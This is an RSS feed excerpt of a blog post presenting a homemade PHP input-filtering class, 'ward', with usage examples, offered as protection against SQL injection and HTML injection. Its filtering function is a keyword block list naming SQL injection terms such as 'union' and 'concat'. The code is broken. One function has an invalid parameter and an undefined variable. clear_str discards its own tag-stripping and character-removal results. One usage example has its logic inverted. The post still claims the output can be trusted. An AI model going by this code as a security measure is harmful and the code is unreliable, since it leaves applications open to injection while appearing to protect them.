		<category><![CDATA[eregi]]></category>

		<category><![CDATA[filtering the characters in php]]></category>

		<category><![CDATA[get_magic_quotes_gpc()]]></category>

		<category><![CDATA[mysql_real_escape_string]]></category>

		<category><![CDATA[PHP security class]]></category>

		<category><![CDATA[prevention of attacks in php]]></category>

		<category><![CDATA[strip html tags in php]]></category>

		<category><![CDATA[strip_tags()]]></category>

		<category><![CDATA[validate the string in php]]></category>

		<guid isPermaLink="false">http://blog.sc0rpion.ir/?p=1007</guid>
		<description><![CDATA[In the present paper there will be a speech about one of safety ways of the programming language PHP . in each web application you surely must care about any processing data obtained from the user and operating for their storage the database MySQL . 
today I wanna introduce a useful class currently used in [...]]]></description>
			<content:encoded><![CDATA[<p>In the present paper there will be a speech about one of safety ways of the programming language PHP . in each web application you surely must care about any processing data obtained from the user and operating for their storage the database MySQL . <span id="more-1007"></span><br />
today I wanna introduce a useful class currently used in my new CMS which I&#8217;m working on . one way or another , you always have to try to make secure your portal or any small script or etc . the following code defines a class named ward that consists of an four associative functions to validate the incoming strings and remove unacceptable characters from them .</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/*
| -------------------------------------------------------------------
| Ward Class , Consists Of Four Functions
| Coded by Sc0rpion &lt;&gt; http://www.sc0rpion.ir
| |
| |
| + -&gt; filtering() 
| + -&gt; valid_str()
| + -&gt; clear_str()
| + -&gt; scape()
| -------------------------------------------------------------------
*/</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> ward
<span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$input</span><span style="color: #339933;">;</span>
        <span style="color: #000000; font-weight: bold;">function</span> filtering <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$str</span> <span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$str</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>
        <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">';'</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;'&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;*&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;/&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;*&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;union&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;order&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;+&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;http&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ftp&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;`&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;-&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;)&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;(&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;..&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;concat&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span>
        <span style="color: #009900;">&#41;</span>
                <span style="color: #009900;">&#123;</span>
                        <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">/*
| -------------------------------------------------------------------
| Checking The Validation Of String ( URL )
| -------------------------------------------------------------------
*/</span>
&nbsp;
        <span style="color: #000000; font-weight: bold;">function</span> valid_str <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$str</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">eregi</span> <span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;^[0-9a-zA-Z_-]*$&quot;</span> <span style="color: #339933;">,</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">/*
| -------------------------------------------------------------------
| Clean Special Chars And Code Tags From The String
| -------------------------------------------------------------------
*/</span>
&nbsp;
        <span style="color: #000000; font-weight: bold;">function</span> clear_str <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$str</span> <span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$str</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strip_tags</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Cleaning HTML</span>
        <span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #990000;">eregi_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;[&lt;&gt;/\?&amp;`~@#<span style="color: #000099; font-weight: bold;">\$</span>%\^*;']&quot;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">,</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Cleaning</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">get_magic_quotes_gpc</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$str</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">/*
| -------------------------------------------------------------------
| Scaping Special Characters
| -------------------------------------------------------------------
*/</span>
&nbsp;
        <span style="color: #000000; font-weight: bold;">function</span> scape<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$str</span> <span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$str</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">get_magic_quotes_gpc</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">/*
| -------------------------------------------------------------------
| End Of Ward Class
| -------------------------------------------------------------------
*/</span></pre></td></tr></table></div>

<p>I point out to each function quickly and brief explanation to each of them .<br />
<strong>filtering() function</strong> : eliminates the sensitive expressions that I defined , they can simply be added , deleted or modified and the structure is very simple :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"> or <span style="color: #990000;">strstr</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">strtolower</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">input</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot; your char &quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span></pre></td></tr></table></div>

<p>As determining the specific character defined in function it returns true . simple example of usage :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$ward</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ward<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ward</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">filtering</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$input</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' you are a good hacker '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>valid_str() function</strong> : it checks whether if the input string has an unnecessary characters or not , returns true as if it is :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$ward</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ward<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ward</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">valid_str</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$input</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' your username must only be chosen between letters or numbers '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>clear_str() function</strong> : this function has a little difference from two previous functions , and it belongs to amount returning from this function . it returns the input string but not completely just washes all the dangerous characters such as <a href="http://www.google.com/search?q=html+tags&#038;ie=utf-8&#038;oe=utf-8&#038;aq=t&#038;rls=org.mozilla:en-US:official&#038;client=firefox-a">HTML tags</a> , some defined keywords and special characters in a string for use in a SQL statement  , in the simple word it mostly provide the safe string and it can be trusted . just try it to get better concept of that :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$ward</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ward<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;br&gt; hu I'm a string ' ' ' &lt;a href='bb'&gt;link&lt;/a&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$ward</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">clear_str</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$input</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>scape() function</strong> : I think I can leave it without any extra comment .</p>
<p>Here was my ward class which I wrote before , you can edit and use it on your road . another future of using this class is saving your maintainability and little performance but a major safety . I hope find it useful , Yashar .</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.sc0rpion.ir/2009/09/ward-class/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
